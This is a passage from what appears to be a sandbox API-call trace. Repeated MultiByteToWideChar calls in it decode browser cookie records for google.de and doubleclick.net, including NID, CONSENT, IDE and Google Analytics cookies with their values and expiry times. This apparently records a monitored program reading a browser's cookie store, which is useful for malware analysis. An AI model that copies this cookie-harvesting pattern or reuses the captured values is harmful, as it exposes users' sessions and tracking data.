lpWideCharStr="1ṽᲐ῏_gat_UA-36116321-1UE.mozilla.orgXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=10, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".google.dergXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.google.dergXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2134, cbMultiByte=1, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/ṽ@TRUE.google.dergXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEṽ@TRUE.google.dergXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1514629589@TRUE.google.dergXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcee718, cbMultiByte=3, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="NIDἂ1514629589@TRUE.google.dergXRx-DENUVXJPnc0uL17dEaSOOYvxptaXRvGGnCBwN6BI8ockA5NUFjesXfEmGTTlh0t2tSZKawVYb1qVrgG54e1ue_4wvz6tゐῡ鳐ῤ▓瑰ゐῡ") returned 3 [0163.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07080, cbMultiByte=132, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="106=fztRXlSKD3rZ0kZekkWaR9HgfSaE1Wz4XWrEHB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 132 [0163.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=10, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".google.dez4XWrEHB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.google.dez4XWrEHB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e01bc, cbMultiByte=1, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/ṽ@TRUE.google.dez4XWrEHB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEṽ@TRUE.google.dez4XWrEHB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf184c, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="2145916799@TRUE.google.dez4XWrEHB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024530, cbMultiByte=7, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="CONSENT5916799@TRUE.google.dez4XWrEHB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 7 [0163.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=9, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="WP.261deeNT5916799@TRUE.google.dez4XWrEHB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 9 [0163.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=10, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".google.dez4XWrEHB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.google.dez4XWrEHB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.713] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3670, cbMultiByte=24, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/chrome/browser/desktop/HB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 24 [0163.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEchrome/browser/desktop/HB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1498819011hrome/browser/desktop/HB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1a78, cbMultiByte=6, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="__utmt98819011hrome/browser/desktop/HB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 6 [0163.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0259a0, cbMultiByte=1, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="1ṽ᩸῏__utmt98819011hrome/browser/desktop/HB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf184c, cbMultiByte=10, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".google.desktop/HB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.google.desktop/HB9mTJ7cTGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf6148, cbMultiByte=32, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/intl/de/chrome/browser/privacy/TGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 32 [0163.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEintl/de/chrome/browser/privacy/TGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.714] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1498819011ntl/de/chrome/browser/privacy/TGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.715] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026738, cbMultiByte=6, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="__utmt98819011ntl/de/chrome/browser/privacy/TGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 6 [0163.715] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1640, cbMultiByte=1, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="1ṽ朸ἂ__utmt98819011ntl/de/chrome/browser/privacy/TGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.715] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1c90, cbMultiByte=16, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".doubleclick.netprivacy/TGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 16 [0163.715] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.doubleclick.netprivacy/TGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.715] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2134, cbMultiByte=1, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/ṽ@TRUE.doubleclick.netprivacy/TGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.715] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEṽ@TRUE.doubleclick.netprivacy/TGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.715] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1561890412@TRUE.doubleclick.netprivacy/TGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.715] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcee718, cbMultiByte=2, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="id殘ἂ1561890412@TRUE.doubleclick.netprivacy/TGyzn3VC0oUmTJh7N2kWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 2 [0163.716] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07130, cbMultiByte=67, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="2259f32a9844007d||t=1498818412|et=730|cs=002213fd48ac87f0e54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 67 [0163.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07180, cbMultiByte=16, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".doubleclick.net=002213fd48ac87f0e54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 16 [0163.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.doubleclick.net=002213fd48ac87f0e54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e01bc, cbMultiByte=1, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/ṽ@TRUE.doubleclick.net=002213fd48ac87f0e54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 1 [0163.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEṽ@TRUE.doubleclick.net=002213fd48ac87f0e54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1561890412@TRUE.doubleclick.net=002213fd48ac87f0e54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0259a0, cbMultiByte=3, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="IDEἂ1561890412@TRUE.doubleclick.net=002213fd48ac87f0e54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 3 [0163.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd071a0, cbMultiByte=58, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="AHWqTUkGQu7CRKbX8HW-XGVSrOCB8sows2bvTSBGqoP0hpeezPKrSV8LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 58 [0163.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf184c, cbMultiByte=10, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".google.debvTSBGqoP0hpeezPKrSV8LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.717] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.google.debvTSBGqoP0hpeezPKrSV8LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3670, cbMultiByte=24, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/chrome/browser/desktop/qoP0hpeezPKrSV8LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 24 [0163.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEchrome/browser/desktop/qoP0hpeezPKrSV8LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1561890653hrome/browser/desktop/qoP0hpeezPKrSV8LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024530, cbMultiByte=6, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="__utma61890653hrome/browser/desktop/qoP0hpeezPKrSV8LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 6 [0163.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7e2c64, cbMultiByte=54, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="246743442.516819799.1498818412.1498818412.1498818412.18LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 54 [0163.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=10, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".google.de8818412.1498818412.18LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.google.de8818412.1498818412.18LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07130, cbMultiByte=24, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/chrome/browser/desktop/2.1498818412.18LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 24 [0163.718] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEchrome/browser/desktop/2.1498818412.18LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1498820453hrome/browser/desktop/2.1498818412.18LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1a78, cbMultiByte=6, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="__utmb98820453hrome/browser/desktop/2.1498818412.18LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 6 [0163.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf3670, cbMultiByte=27, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="246743442.3.9.1498818653263wser/desktop/2.1498818412.18LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 27 [0163.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf184c, cbMultiByte=10, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: lpWideCharStr=".google.desktop/2.1498818412.18LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e3ac, cbMultiByte=4, lpWideCharStr=0x1e7de550, cchWideChar=2047 | out: lpWideCharStr="TRUE.google.desktop/2.1498818412.18LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 4 [0163.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07158, cbMultiByte=24, lpWideCharStr=0x1e7de548, cchWideChar=2047 | out: lpWideCharStr="/chrome/browser/desktop/2.1498818412.18LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 24 [0163.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x40e39c, cbMultiByte=5, lpWideCharStr=0x1e7de540, cchWideChar=2047 | out: lpWideCharStr="FALSEchrome/browser/desktop/2.1498818412.18LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 5 [0163.719] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=10, lpWideCharStr=0x1e7de538, cchWideChar=2047 | out: lpWideCharStr="1514586653hrome/browser/desktop/2.1498818412.18LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 10 [0163.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026738, cbMultiByte=6, lpWideCharStr=0x1e7de530, cchWideChar=2047 | out: lpWideCharStr="__utmz14586653hrome/browser/desktop/2.1498818412.18LHw54c8cf85dWByCWACN_vPcuKe3xzYBJPjQbHOXBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 6 [0163.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07180, cbMultiByte=94, lpWideCharStr=0x1e7de528, cchWideChar=2047 | out: lpWideCharStr="246743442.1498818412.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)XBw-UJUwjK_bc_KDQktYOvic1UEv7M14HI9RnIゐῡ鳐ῤ▓瑰ゐῡ") returned 94 [0163.720] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=10, lpWideCharStr=0x1e7de558, cchWideChar=2047 | out: 